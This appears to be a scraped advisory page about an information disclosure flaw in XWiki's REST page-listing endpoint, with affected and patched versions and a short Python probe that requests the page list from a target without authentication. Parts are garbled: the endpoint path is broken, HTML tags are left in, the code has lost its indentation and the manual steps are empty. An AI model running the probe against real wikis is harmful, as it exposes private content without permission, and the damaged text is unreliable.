XWiki, Information Disclosure Vulnerability, CVE-2025-XXXX (Critical)

Listen to this Post

XWiki, a popular open-source platform for developing collaborative applications, is affected by a critical information disclosure vulnerability (CVE-2025-XXXX). This vulnerability allows unregistered users to access private page information through a REST endpoint, even when the wiki is configured to prevent unregistered users from viewing pages. The affected REST endpoint is /rest/wikis/

/pages</code>, which lists pages regardless of the user's view rights. This issue is particularly severe when the entire wiki is protected with the "Prevent unregistered users from viewing pages" setting, as the endpoint still exposes page listings for the main wiki.
The vulnerability arises due to insufficient access control checks in the REST endpoint implementation. When an unauthenticated user sends a request to the endpoint, the server fails to filter out private pages, exposing their existence and metadata. This can lead to unauthorized access to sensitive information, compromising the confidentiality of the wiki's content.
Patched versions of XWiki (15.10.14, 16.4.6, and 16.10.0-rc-1) address this issue by implementing proper access control checks, ensuring that only authorized users can view private pages through the REST endpoint. Users are strongly advised to upgrade to the latest patched versions to mitigate this vulnerability.

<h2 style="color: blue;">DailyCVE Form</h2>

Platform: XWiki
Version: >= 1.9M1, < 15.10.14
Vulnerability: Information Disclosure
Severity: Critical
Date: Mar 19, 2025

<h2 style="color: blue;">What Undercode Say:</h2>

<h2 style="color: blue;">Exploitation:</h2>

<h2 style="color: blue;">1. Exploit Code (Python):</h2>

[bash]
import requests
url = "http://target-xwiki-instance/rest/wikis/main/pages"
response = requests.get(url)
if response.status_code == 200:
print("Vulnerable! Pages listed:", response.json())
else:
print("Target not vulnerable or patched.")

2. Manual Exploit Steps:

Scroll to Top